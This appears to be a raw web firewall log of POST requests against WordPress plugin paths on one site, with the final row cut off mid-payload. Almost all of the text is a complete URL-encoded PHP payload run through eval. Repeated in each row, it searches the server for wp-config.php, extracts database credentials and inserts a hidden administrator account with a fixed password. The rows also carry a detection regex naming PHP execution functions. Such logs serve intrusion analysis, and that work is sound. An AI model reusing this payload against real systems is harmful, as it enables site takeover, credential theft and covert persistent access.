D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 11:20:07","213.209.159.254","POST","\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> QlAazG:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\ncontent-length:12663\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\n\nQlAazG=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 11:20:18","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HJTgNT:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%